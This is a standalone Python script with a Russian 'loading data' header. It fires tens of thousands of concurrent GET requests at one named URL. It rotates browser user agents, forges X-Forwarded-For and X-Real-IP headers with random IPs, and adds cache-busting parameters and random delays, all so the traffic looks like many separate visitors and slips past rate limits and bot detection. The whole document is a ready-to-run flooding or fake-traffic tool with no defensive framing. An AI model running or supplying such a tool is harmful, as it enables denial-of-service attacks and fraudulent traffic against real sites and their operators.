Загрузка данных


import asyncio, aiohttp, time, random
from aiohttp import ClientSession, TCPConnector

URL = "https://bandit.cloudpub.ru/PROECT_ZDOH_GET_TORNADO"
TOTAL = 100000
CONCURRENT = 50
BATCH = 30

done = err = 0
lock = asyncio.Lock()

UAS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (Linux; Android 13; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36",
]

def random_ip():
    return f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"

async def worker(sem, worker_id):
    global done, err
    ip = random_ip()
    ua = random.choice(UAS)
    lang = random.choice(["ru-RU,ru;q=0.9", "en-US,en;q=0.5", "de-DE,de;q=0.8"])
    
    connector = TCPConnector(limit=0, force_close=True)
    headers = {
        "User-Agent": ua,
        "X-Forwarded-For": ip,
        "X-Real-IP": ip,
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": lang,
        "Cache-Control": "no-cache",
    }
    
    async with ClientSession(connector=connector, headers=headers) as sess:
        for req_num in range(random.randint(1, 4)):
            async with sem:
                try:
                    await asyncio.sleep(random.uniform(0.2, 2.0))
                    
                    params = {}
                    if req_num > 0:
                        params = {"_": int(time.time() * 1000), "r": random.randint(100000, 999999)}
                    
                    start = time.perf_counter()
                    async with sess.get(URL, params=params, timeout=aiohttp.ClientTimeout(total=10), ssl=False) as resp:
                        await resp.text()
                        rt = (time.perf_counter() - start) * 1000
                        
                        async with lock:
                            done += 1
                            if done % 500 == 0:
                                print(f"[{done:6d}] {resp.status} | {rt:6.0f}ms | IP: {ip}")
                except Exception as e:
                    async with lock:
                        err += 1
                        done += 1
                        if err % 100 == 0:
                            print(f"[{done:6d}] ERROR: {type(e).__name__}")

async def main():
    print(f"Start: {TOTAL} requests, {CONCURRENT} concurrent\n")
    start_time = time.time()
    sem = asyncio.Semaphore(CONCURRENT)
    
    tasks = []
    for i in range(0, TOTAL // 3, BATCH):
        batch_tasks = [asyncio.create_task(worker(sem, j)) for j in range(i, min(i + BATCH, TOTAL // 3))]
        tasks.extend(batch_tasks)
        await asyncio.sleep(random.uniform(0.1, 0.4))
    
    await asyncio.gather(*tasks)
    
    elapsed = time.time() - start_time
    print(f"\nDone: {done} | Errors: {err} | Time: {elapsed:.1f}s | RPS: {done/elapsed:.0f}")

if __name__ == "__main__":
    asyncio.run(main())